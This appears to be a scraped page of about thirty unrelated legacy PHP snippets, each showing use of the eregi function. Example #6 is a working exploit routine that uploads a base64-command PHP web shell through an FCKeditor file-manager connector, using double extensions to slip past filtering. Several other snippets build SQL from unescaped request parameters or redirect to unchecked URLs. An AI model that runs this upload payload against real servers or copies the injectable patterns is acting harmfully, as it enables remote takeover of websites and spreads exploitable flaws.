function notify_verify()
 {
     //¶Ônotify_urlµÄÈÏÖ¤
     if ($this->transport == "https") {
         $veryfy_url = $this->gateway . "service=notify_verify" . "&partner=" . $this->partner . "&notify_id=" . $_POST["notify_id"];
     } else {
         $veryfy_url = $this->gateway . "notify_id=" . $_POST["notify_id"] . "&partner=" . $this->partner;
     }
     $veryfy_result = $this->get_verify($veryfy_url);
     $post = $this->para_filter($_POST);
     $sort_post = $this->arg_sort($post);
     while (list($key, $val) = each($sort_post)) {
         $arg .= $key . "=" . $val . "&";
     }
     $prestr = substr($arg, 0, count($arg) - 2);
     //È¥µô×îºóÒ»¸ö&ºÅ
     $this->mysign = $this->sign($prestr . $this->security_code);
     //**********************************ÉÏÃæдÈÕÖ¾
     log_result("sign_log=" . $_POST["sign"] . "&" . $this->mysign . "&" . $this->charset_decode(implode(",", $_GET), $this->_input_charset));
     //**********************************ÉÏÃæдÈÕÖ¾
     if (eregi("true\$", $veryfy_result) && $this->mysign == $_POST["sign"]) {
         return true;
     } else {
         return false;
     }
 }
Example #2
0
 function on_submit()
 {
     $email_list = Url::get('email_list');
     $count = 0;
     if ($email_list) {
         $arr = explode("\n", $email_list);
         $arr_tmp = array();
         $email_list = '';
         if ($arr) {
             foreach ($arr as $email) {
                 $email = str_replace(array(chr(13), chr(10)), '', stripslashes($email));
                 if (eregi("^[A-Z0-9._%-]+@[A-Z0-9._%-]+\\.[A-Z]{2,6}\$", $email) && !isset($arr_tmp[$email])) {
                     $email_list .= ($email_list ? "\n" : '') . $email;
                     $arr_tmp[$email] = 1;
                     $count++;
                 }
             }
         }
     }
     $this->email_list = array('email_list' => addslashes($email_list), 'time' => TIME_NOW, 'time_modify' => TIME_NOW);
     $this->checkFormInput('Danh sách email', 'email_list', $email_list, 'str', true, '', 1);
     if ($count > 50) {
         $this->setFormError('', "Bạn đã nhập vào {$count} email, số mail nhập vào phải <=50!");
     }
     if (!$this->errNum) {
         $id = DB::insert('spam_mail', $this->email_list);
         if ($id) {
             Url::redirect_current(array('cmd' => 'email_list'));
         } else {
             $this->setFormError('', 'Không cập nhật được CSDL!');
         }
     }
 }
 /**
  * look for the opening and closing divs with a particular $class in the $subject
  * Have to count opening and closing divs since regexes are not so good matching opening and closing tags
  */
 function _getDivs($subject, $class)
 {
     preg_match_all("/<div[^>]+class\\=\"{$class}\"[^>]*>/is", $subject, $matches, PREG_OFFSET_CAPTURE);
     $matches = $matches[0];
     for ($i = 0; $i < count($matches); $i++) {
         $openDivs = 0;
         $closedDivs = 0;
         $divClosePosition = 0;
         $divPosition = array();
         preg_match_all("/<\\/?div[^>]*>/is", $subject, $divPosition, PREG_OFFSET_CAPTURE, $matches[$i][1]);
         $divPosition = $divPosition[0];
         for ($i2 = 0; $i2 < count($divPosition); $i2++) {
             if (eregi("\\/", $divPosition[$i2][0])) {
                 $closedDivs++;
             } else {
                 $openDivs++;
             }
             if ($closedDivs > $openDivs - 1) {
                 $divClosePosition = $divPosition[$i2][1];
                 $divLength = $divClosePosition + 6 - $matches[$i][1];
                 $divs[$i] = substr($subject, $matches[$i][1], $divLength);
                 break;
             }
         }
     }
     return $divs;
 }
 function parse($xml)
 {
     $nav = $xml->getElementsByTagName('navigation');
     $nav = $nav->item(0);
     foreach ($nav->childNodes as $child) {
         $this->navigation[$child->nodeName] = $child->getText();
     }
     $attr = $xml->getElementsByTagName('attributes');
     $attr = $attr->item(0);
     foreach ($attr->childNodes as $child) {
         $this->attributes[$child->nodeName] = $child->getText();
     }
     $cats = $xml->getElementsByTagName('categories');
     $cats = $cats->item(0);
     foreach ($cats->childNodes as $c) {
         $name = htmlspecialchars($c->getAttribute('name'));
         $this->categories[$name] = array('' => array());
         $this->cat_tr[$name] = htmlspecialchars(trim($c->firstChild->nodeValue));
         if ($c->childCount > 0) {
             foreach ($c->childNodes as $s) {
                 if ($s->nodeType == 1) {
                     $this->categories[$name][$s->getAttribute('name')] = array();
                     $this->cat_tr[$s->getAttribute('name')] = trim($s->firstChild->nodeValue);
                 }
             }
         }
     }
     $meta = $xml->getElementsByTagName('meta');
     $meta = $meta->item(0);
     foreach ($meta->childNodes as $child) {
         $nodeName = $child->nodeName;
         eregi("<{$nodeName}>(.*)<\\/{$nodeName}>", $child->toString(), $matches);
         $this->meta[$nodeName] = $matches[1];
     }
 }
Example #5
0
 function alterTableColumn($table, $colname = array(), $operation = 'drop', $type = 'int', $thekey = '', $notnull = FALSE, $default = '', $extra = NULL)
 {
     $result = '';
     if (count($colname) > 0) {
         $result .= 'ALTER TABLE ' . $this->getTblName($table) . ' ' . strtoupper($operation) . ' COLUMN ' . $colname[0];
         if ($operation == "change") {
             $result .= ' ' . $colname[1];
         }
         if (!eregi('drop', $operation)) {
             $result .= ' ' . $type;
             if (trim($thekey) != '' && !eregi('pri', $thekey)) {
                 if (eregi('uni', $thekey)) {
                     $result .= ' UNIQUE';
                 }
             }
             if ($notnull !== FALSE) {
                 $result .= ' NOT NULL';
             }
             if (trim($default) != '') {
                 $result .= ' DEFAULT ' . $default;
             }
             if (!is_null($extra)) {
                 $result .= ' ' . $extra;
             }
         }
     }
     return $result;
 }
Example #6
0
function upload()
{
    global $host, $path;
    $connector = "/admin/include/FCKeditor/editor/filemanager/browser/mcpuk/connectors/php/config.php";
    $file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv");
    foreach ($file_ext as $ext) {
        print "\n[-] Trying to upload with .{$ext} extension...";
        $data = "--12345\r\n";
        $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n";
        $data .= "Content-Type: application/octet-stream\r\n\r\n";
        $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
        $data .= "--12345--\r\n";
        $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Content-Length: " . strlen($data) . "\r\n";
        $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $packet .= $data;
        preg_match("/OnUploadCompleted\\((.*),'(.*)'\\)/i", http_send($host, $packet), $html);
        if (!in_array(intval($html[1]), array(0, 201))) {
            die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n");
        }
        $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n";
        $packet .= "Host: {$host}\r\n";
        $packet .= "Connection: close\r\n\r\n";
        $html = http_send($host, $packet);
        if (!eregi("print", $html) and eregi("_code_", $html)) {
            return $ext;
        }
        sleep(1);
    }
    return false;
}
Example #7
0
function pop3_connect($mail, $pass, $serv, $port = 110)
{
    $fserv = fsockopen($serv, $port);
    if (!$fserv) {
        return -1;
    }
    //Cannot connect
    $resp = fgets($fserv);
    //echo($resp); //Debug
    $request = "USER {$mail}\nPASS {$pass}\n";
    fwrite($fserv, $request);
    $resp = fgets($fserv);
    if (!eregi("\\+", $resp)) {
        return -2;
    }
    //Bad username
    //echo($resp);
    $resp = fgets($fserv);
    if (!eregi("\\+", $resp)) {
        return -3;
    }
    //Bad password
    //echo($resp);
    return $fserv;
}
Example #8
0
function freq_analyze($infile, $cereg = '[a-z ]')
{
    //Make frequency fingerprint
    $debug = 100;
    $total = 0;
    $in = fopen($infile, 'r');
    while (!feof($in)) {
        $c = strtolower(fgetc($in));
        if (eregi($cereg, $c)) {
            if (!isset($data[$c])) {
                $data[$c] = 0;
            }
            $data[$c]++;
            $total++;
        }
    }
    fclose($in);
    //Compute percents
    foreach ($data as $c => $n) {
        $data[$c] = $n / $total * 100;
        $debug -= $data[$c];
    }
    //echo("Debug: $debug\n"); //Debug
    return $data;
}
Example #9
0
 /** overloaded check function */
 function check()
 {
     // filter malicious code
     $ignoreList = array('params');
     $this->filter($ignoreList);
     // specific filters
     $callcheck = array('InputFilter', 'process');
     if (!is_callable($callcheck)) {
         require_once mamboCore::get('mosConfig_absolute_path') . '/includes/phpInputFilter/class.inputfilter.php';
     }
     // specific filters
     $iFilter =& new InputFilter();
     if ($iFilter->badAttributeValue(array('href', $this->url))) {
         $this->_error = T_('Please provide a valid URL');
         return false;
     }
     /** check for valid name */
     if (trim($this->title) == '') {
         $this->_error = T_('Your web link must be given a title.');
         return false;
     }
     if (!(eregi('http://', $this->url) || eregi('https://', $this->url) || eregi('ftp://', $this->url))) {
         $this->url = 'http://' . $this->url;
     }
     /** check for existing name */
     $this->title = $this->_db->getEscaped($this->title);
     $this->catid = $this->_db->getEscaped($this->catid);
     $this->_db->setQuery("SELECT id FROM #__weblinks " . "\nWHERE title='{$this->title}' AND catid='{$this->catid}'");
     $xid = intval($this->_db->loadResult());
     if ($xid && $xid != intval($this->id)) {
         $this->_error = T_('There is already a web link that name, please try again.');
         return false;
     }
     return true;
 }
Example #10
0
File: go.php Project: joestump/jax
 function go()
 {
     $this->JxAuthNo();
     if ((int) $_GET['linkID'] > 0) {
         $sql = "SELECT *\n                FROM menu_links\n                WHERE contentID='" . $_GET['linkID'] . "'";
         $result = $this->db->query($sql);
         if (!DB::isError($result) && $result->numRows()) {
             $row = $result->fetchRow();
             $sql = "UPDATE menu_links\n                  SET hits=(hits + 1)\n                  WHERE contentID='" . $_GET['linkID'] . "'";
             $result = $this->db->query($sql);
             $go = $row['url'];
         }
     } elseif ((int) $_GET['categoryID'] > 0) {
         $sql = "SELECT *\n                FROM menu_categories\n                WHERE contentID='" . $_GET['linkID'] . "'";
         $result = $this->db->query($sql);
         if (!DB::isError($result) && $result->numRows()) {
             $row = $result->fetchRow();
             $sql = "UPDATE menu_categories\n                  SET hits=(hits + 1)\n                  WHERE contentID='" . $_GET['linkID'] . "'";
             $result = $this->db->query($sql);
             $go = $row['url'];
         }
     }
     if (!eregi('^http', $go)) {
         $go = $_SERVER['SCRIPT_NAME'] . $go;
     }
     header("Location: {$go}");
     exit;
 }
Example #11
0
function ic_system_info()
{
    $thread_safe = false;
    $debug_build = false;
    $cgi_cli = false;
    $php_ini_path = '';
    ob_start();
    phpinfo(INFO_GENERAL);
    $php_info = ob_get_contents();
    ob_end_clean();
    foreach (split("\n", $php_info) as $line) {
        if (eregi('command', $line)) {
            continue;
        }
        if (eregi('thread safety.*(enabled|yes)', $line)) {
            $thread_safe = true;
        }
        if (eregi('debug.*(enabled|yes)', $line)) {
            $debug_build = true;
        }
        if (eregi("configuration file.*(</B></td><TD ALIGN=\"left\">| => |v\">)([^ <]*)(.*</td.*)?", $line, $match)) {
            $php_ini_path = $match[2];
            if (!@file_exists($php_ini_path)) {
                $php_ini_path = '';
            }
        }
        $cgi_cli = strpos(php_sapi_name(), 'cgi') !== false || strpos(php_sapi_name(), 'cli') !== false;
    }
    return array('THREAD_SAFE' => $thread_safe, 'DEBUG_BUILD' => $debug_build, 'PHP_INI' => $php_ini_path, 'CGI_CLI' => $cgi_cli);
}
function copysms($Text, $Sender, $DateTime, $id)
{
    global $new_db, $new_db_table, $smsd_db;
    if (eregi("([0-9]{1,})(#)([a-z]{1,})(#)(.*)", $Text, $regs)) {
        $testo = "" . $regs[5] . "";
        $category = "" . $regs[1] . "";
        $off_rich = "" . $regs[3] . "";
        if ($off_rich == 'r' || $off_rich == 'R') {
            $offerta_richiesta = "a";
        } else {
            $offerta_richiesta = "v";
        }
    } else {
        $testo = $Text;
        $category = "45";
        $offerta_richiesta = "v";
    }
    mysql_select_db("{$new_db}");
    $result = mysql_query("insert into {$new_db_table} (ID,Text_Offer,Text_Category,PhoneNumber,Text_Other,DateTime) values ('{$id}','{$offerta_richiesta}','{$category}','{$Sender}','" . mysql_real_escape_string($testo) . "','{$DateTime}')");
    //mark sms in Gammu smsd as processed
    mysql_select_db("{$smsd_db}");
    while ($id != "") {
        if (eregi("([0-9]{1,})(,)(.*)", $id, $id2)) {
            //			echo $id2[1]."<br>";
            $result = mysql_query("update inbox set Processed='true' WHERE ID='{$id2['1']}'");
            $id = $id2[3];
        } else {
            $result = mysql_query("update inbox set Processed='true' WHERE ID='{$id}'");
            //			echo $id;
            break;
        }
    }
    //	echo "<br><br>";
}
Example #13
0
function isEmail($eMailAddress)
{
    if (eregi("^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}\$", $eMailAddress, $check)) {
        return true;
    }
    return false;
}
Example #14
0
 /** returnes true if $p_tag is a "<open tag>"
 		@param 	$p_tag - tag string
                 $p_array - tag array;
         @return true/false
 	*/
 function OpenTag($p_tag, $p_array)
 {
     $aTAGS =& $this->aTAGS;
     $aHREF =& $this->aHREF;
     $maxElem =& $this->iTagMaxElem;
     if (!eregi("^<([a-zA-Z1-9]{1,{$maxElem}}) *(.*)>\$", $p_tag, $reg)) {
         return false;
     }
     $p_tag = $reg[1];
     $sHREF = array();
     if (isset($reg[2])) {
         preg_match_all("|([^ ]*)=[\"'](.*)[\"']|U", $reg[2], $out, PREG_PATTERN_ORDER);
         for ($i = 0; $i < count($out[0]); $i++) {
             $out[2][$i] = eregi_replace("(\"|')", "", $out[2][$i]);
             array_push($sHREF, array($out[1][$i], $out[2][$i]));
         }
     }
     if (in_array($p_tag, $aTAGS)) {
         return false;
     }
     //tag already opened
     if (in_array("</{$p_tag}>", $p_array)) {
         array_push($aTAGS, $p_tag);
         array_push($aHREF, $sHREF);
         return true;
     }
     return false;
 }
Example #15
0
 function SprawdzEmail($email)
 {
     if (!eregi("^[_.0-9a-z-]+@([0-9a-z][0-9a-z-]+.)+[a-z]{2,4}\$", $email)) {
         return false;
     }
     return true;
 }
Example #16
0
 function tiltviewer_gallery()
 {
     $item_id = EClassApi::getParam('item_id');
     if ($item_id) {
         $sql = 'select id, original_image_url, title, position from item_image where item_id = ' . intval($item_id) . ' ORDER BY position ';
         DB::query($sql);
         if (DB::num_rows()) {
             $entry = '';
             while ($rows = DB::fetch_row()) {
                 $rows['title'] = $rows['title'] ? $rows['title'] : "Image {$rows['position']}";
                 $rows['title'] = trim(XMLLib::_xml_encode_attribute($rows['title']));
                 if (eregi('/', $rows['original_image_url'])) {
                     $url = trim(XMLLib::_xml_encode_attribute("http://" . IMAGE_PATH . "{$rows['original_image_url']}"));
                 } else {
                     $url = trim(XMLLib::_xml_encode_attribute("http://" . IMAGE_PATH . "uploaded/items/{$rows['original_image_url']}"));
                 }
                 //$rows['description'] = 	trim( XMLLib::_xml_encode_attribute(html_entity_decode( $rows['description'], ENT_QUOTES, "UTF-8")));
                 $entry .= "\n\t\t\t\t\t\t<photo imageurl=\"{$url}\" linkurl=\"http://www.chonmon.vn\">\n\t\t\t\t\t\t\t<title>{$rows['title']}</title>\n\t\t\t\t\t\t</photo>\t\t \t \t\n\t\t\t \t \t";
             }
             @header("Content-type: text/xml");
             echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?" . '>';
             echo "<tiltviewergallery><photos>";
             echo $entry;
             echo "</photos></tiltviewergallery>";
         } else {
             die("no_info");
         }
     } else {
         die("no_info");
     }
 }
Example #17
0
function get_device_useragent($device)
{
    global $astman;
    $response = $astman->send_request('Command', array('Command' => "sip show peer {$device}"));
    $astout = explode("\n", $response['data']);
    $ua = "";
    foreach ($astout as $entry) {
        if (eregi("useragent", $entry)) {
            list(, $value) = split(":", $entry);
            $ua = trim($value);
        }
    }
    if ($ua) {
        if (stristr($ua, "Aastra")) {
            return "aastra";
        }
        if (stristr($ua, "Grandstream")) {
            return "grandstream";
        }
        if (stristr($ua, "snom")) {
            return "snom";
        }
        if (stristr($ua, "Cisco")) {
            return "cisco";
        }
        if (stristr($ua, "Polycom")) {
            return "polycom";
        }
    }
    return null;
}
Example #18
0
 public function insert($data)
 {
     if (!$this->ifLogin($data['login'])) {
         throw new User_Validation_Exception('Podany login istnieje juz w bazie danych! Wybierz inny.');
     }
     if (empty($data['login']) && empty($data['haslo'])) {
         throw new User_Validation_Exception('Nie podales loginu ani hasla!');
     }
     if (empty($data['login'])) {
         throw new User_Validation_Exception('Nie podales loginu!');
     }
     if (strlen($data['login']) < 5) {
         throw new User_Validation_Exception('Login musi skladac sie z co najmniej 5 znakow!');
     }
     if (empty($data['haslo'])) {
         throw new User_Validation_Exception('Nie podales hasla!');
     }
     if (strlen($data['haslo']) < 5) {
         throw new User_Validation_Exception('Haslo musi skladac sie z co najmniej 5 znakow!');
     }
     if (!eregi('^[a-zA-z]', $data['login'])) {
         throw new User_Validation_Exception('Login musi zaczynac sie od litery!');
     }
     return parent::insert($data);
 }
Example #19
0
function zen_create_random_value($length, $type = 'mixed')
{
    if ($type != 'mixed' && $type != 'chars' && $type != 'digits') {
        return false;
    }
    $rand_value = '';
    while (strlen($rand_value) < $length) {
        if ($type == 'digits') {
            $char = zen_rand(0, 9);
        } else {
            $char = chr(zen_rand(0, 255));
        }
        if ($type == 'mixed') {
            if (eregi('^[a-z0-9]$', $char)) {
                $rand_value .= $char;
            }
        } elseif ($type == 'chars') {
            if (eregi('^[a-z]$', $char)) {
                $rand_value .= $char;
            }
        } elseif ($type == 'digits') {
            if (ereg('^[0-9]$', $char)) {
                $rand_value .= $char;
            }
        }
    }
    return $rand_value;
}
 public function autoRun()
 {
     if (!eregi('redirecionar=', $_SERVER['QUERY_STRING']) && !$this->system->input['redirecionar']) {
         $this->redir = base64_encode('index.php?' . $_SERVER['QUERY_STRING']);
     } else {
         $this->redir = stripslashes($this->system->input['redirecionar']);
     }
     if (in_array($this->system->session->getItem('session_nivel'), $this->acessoPermitido)) {
         $this->system->view->assign('categoria', $this->system->admin->getCategoria());
         switch ($this->system->input['do']) {
             case 'listar':
                 $this->doListar();
                 break;
             case 'novo':
                 $this->doEdicao();
                 break;
             case 'editar':
                 $this->doEdicao();
                 break;
             case 'apagar':
                 $this->doDeletar();
                 break;
             case 'buscar':
                 $this->doListar();
                 break;
             default:
                 $this->pagina404();
                 break;
         }
     } else {
         $this->pagina404();
     }
 }
Example #21
0
function recurse($dir)
{
    echo "{$dir}\n";
    foreach (glob("{$dir}/*") as $filename) {
        if (is_dir($filename)) {
            recurse($filename);
        } elseif (eregi('\\.xml$', $filename)) {
            //~ echo "$filename\n";
            $file = file_get_contents($filename);
            $file = preg_replace_callback('~(<!\\[CDATA\\[)(.*)(\\]\\]>)~sU', "callback_htmlentities", $file);
            $file = preg_replace_callback('~(<!--)(.*)(-->)~sU', "callback_htmlentities", $file);
            // isn't in one function as it can match !CDATA[[...-->
            if ($GLOBALS["MODE"] == "escape") {
                $file = preg_replace_callback('~<(' . $GLOBALS['GOOD_TAGS'] . ')( [^>]*)?>(.*)</\\1>~sU', "callback_make_value", $file);
            } else {
                // "unescape"
                $file = str_replace("\r", "", $file);
                // for Windows version of Aspell
                $file = preg_replace_callback('~<(' . $GLOBALS['GOOD_TAGS'] . ')( [^>]*)? aspell="(.*)"/>~sU', "callback_make_contents", $file);
            }
            $fp = fopen($filename, "wb");
            fwrite($fp, $file);
            fclose($fp);
        }
    }
}
Example #22
0
function sort2DArray($ArrayData, $KeyName1, $SortOrder1 = "SORT_ASC", $SortType1 = "SORT_REGULAR")
{
    if (!is_array($ArrayData)) {
        return $ArrayData;
    }
    // Get args number.
    $ArgCount = func_num_args();
    // Get keys to sort by and put them to SortRule array.
    for ($I = 1; $I < $ArgCount; $I++) {
        $Arg = func_get_arg($I);
        if (!@eregi("SORT", $Arg)) {
            $KeyNameList[] = $Arg;
            $SortRule[] = '$' . $Arg;
        } else {
            $SortRule[] = $Arg;
        }
    }
    // Get the values according to the keys and put them to array.
    foreach ($ArrayData as $Key => $Info) {
        foreach ($KeyNameList as $KeyName) {
            ${$KeyName}[$Key] = $Info[$KeyName];
        }
    }
    // Create the eval string and eval it.
    $EvalString = 'array_multisort(' . join(",", $SortRule) . ',$ArrayData);';
    eval($EvalString);
    return $ArrayData;
}
Example #23
0
 /**
  * TuiyoValidate::isEmail()
  * Checks if email is valid
  * @param mixed $string
  * @return bool true if valid, false if not
  */
 public function isEmail($string)
 {
     if (eregi("^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,3})\$", $string)) {
         return TRUE;
     }
     return FALSE;
 }
Example #24
0
function find_item($dir, $pat, &$list, $recur)
{
    // find items
    $handle = @opendir(get_abs_dir($dir));
    if ($handle === false) {
        return;
    }
    // unable to open dir
    while (($new_item = readdir($handle)) !== false) {
        if (!@file_exists(get_abs_item($dir, $new_item))) {
            continue;
        }
        if (!get_show_item($dir, $new_item)) {
            continue;
        }
        // match?
        if (@eregi($pat, $new_item)) {
            $list[] = array($dir, $new_item);
        }
        // search sub-directories
        if (get_is_dir($dir, $new_item) && $recur) {
            find_item(get_rel_item($dir, $new_item), $pat, $list, $recur);
        }
    }
    closedir($handle);
}
Example #25
0
function jyxo_bot($q = "", $d = "mm", $ereg = ".", $notereg = "", $cnt = 10000000000000, $page = 1, $pmax = 2, $o = "nocls")
{
    $i = 0;
    $results = "";
    $results[$i] = "";
    //$q = str_replace(" ", "+", $q);
    $q = urlencode($q);
    for (; $page <= $pmax; $page++) {
        $request = "http://jyxo.cz/s?q={$q}&d={$d}&o={$o}&cnt={$cnt}&page={$page}";
        $fp = fopen($request, "r") or die("   !!! Cannot connect !!!");
        while (!feof($fp)) {
            $line = fgets($fp);
            if (eregi("<div class='r'>", $line) && ereg(" class=ri", $line)) {
                $line = explode("<!--m--><div class='r'><A HREF=\"", $line);
                $line = $line[1];
                $line = explode("\" class=ri", $line);
                $line = trim($line[0]);
                $line = urldecode($line);
                if (@eregi($ereg, $line) && !@eregi($notereg, $line) && !in_array($line, $results)) {
                    echo "{$line}\n";
                    //Output
                    //echo("$i:$line\n"); //Indexed Output
                    //echo("<a href=\"$line\">$line</a><br />\n"); //XHTML Output
                    $results[$i] = $line;
                    $i++;
                }
            }
        }
        fclose($fp);
    }
    echo "\nTotal: {$i}\n";
    //Sumary Output
    return $results;
}
Example #26
0
function checkEmail($email)
{
    if (!eregi("^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*\$", $email)) {
        return false;
    }
    return true;
}
Example #27
0
 /**
  * Validates an email (covers the most common and some uncommon cases - not RFC compliant.)
  *
  * @param string $email Email address
  *
  * @return bool
  */
 public static function validateEmail($email)
 {
     if (!eregi("^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*(.[a-z]{2,6})\$", $email)) {
         return false;
     }
     return true;
 }
Example #28
0
 /**
  * Extract information - only public function
  *
  * @access   public
  * @param    string  file    Audio file to extract info from.
  */
 function Info($file)
 {
     // Too many mp3 encoders on the market put gabage in front of mpeg files - use assume format on these
     $assume_mpeg = eregi('\\.mp[123a]$', $file);
     // Extract info with GetAllFileInfo() - in this example we want MD5data (fourth param).
     // If MD5data is not needed, set to FALSE for performance improvement.
     $this->info = GetAllFileInfo($file, $assume_mpeg ? 'mp3' : '', FALSE, TRUE);
     //dump($this->info, false);
     // Exit here on error
     if (isset($this->info['error'])) {
         return array('error' => $this->info['error']);
     }
     // Init wrapper object
     $this->result = array();
     $this->result['format_name'] = @$this->info['fileformat'] . '/' . @$this->info['audio']['dataformat'] . (isset($this->info['video']['dataformat']) ? '/' . @$this->info['video']['dataformat'] : '');
     $this->result['encoder_version'] = @$this->info['audio']['encoder'];
     $this->result['encoder_options'] = NULL;
     $this->result['bitrate_mode'] = @$this->info['audio']['bitrate_mode'];
     $this->result['channels'] = @$this->info['audio']['channels'];
     $this->result['sample_rate'] = @$this->info['audio']['sample_rate'];
     $this->result['bits_per_sample'] = @$this->info['audio']['bits_per_sample'];
     $this->result['playing_time'] = @$this->info['playtime_seconds'];
     $this->result['avg_bit_rate'] = @$this->info['audio']['bitrate'];
     $this->result['tags'] = @$this->info['tags'];
     $this->result['comments'] = @$this->info['comments'];
     $this->result['warning'] = @$this->info['warning'];
     $this->result['md5'] = @$this->info['md5_data'];
     // Post getID3() data handling based on file format
     $method = @$this->info['fileformat'] . 'Info';
     if (@$this->info['fileformat'] && method_exists($this, $method)) {
         $this->{$method}();
     }
     return $this->result;
 }
 public function autoRun()
 {
     if (!eregi('redirecionar=', $_SERVER['QUERY_STRING']) && !$this->system->input['redirecionar']) {
         $this->redir = base64_encode('index.php?' . $_SERVER['QUERY_STRING']);
     } else {
         $this->redir = stripslashes($this->system->input['redirecionar']);
     }
     switch ($this->system->input['do']) {
         case 'nova':
             $this->doEdicao();
             break;
         case 'editar':
             $this->doEdicao();
             break;
         case 'buscar':
             $this->doListar();
             break;
         case 'listar':
             $this->doListar();
             break;
         case 'apagar':
             $this->doDeletar();
             break;
         default:
             $this->pagina404();
             break;
     }
 }
Example #30
0
function checkURL($url)
{
    if (!eregi("^http:\\/\\/", $url)) {
        return false;
    }
    return true;
}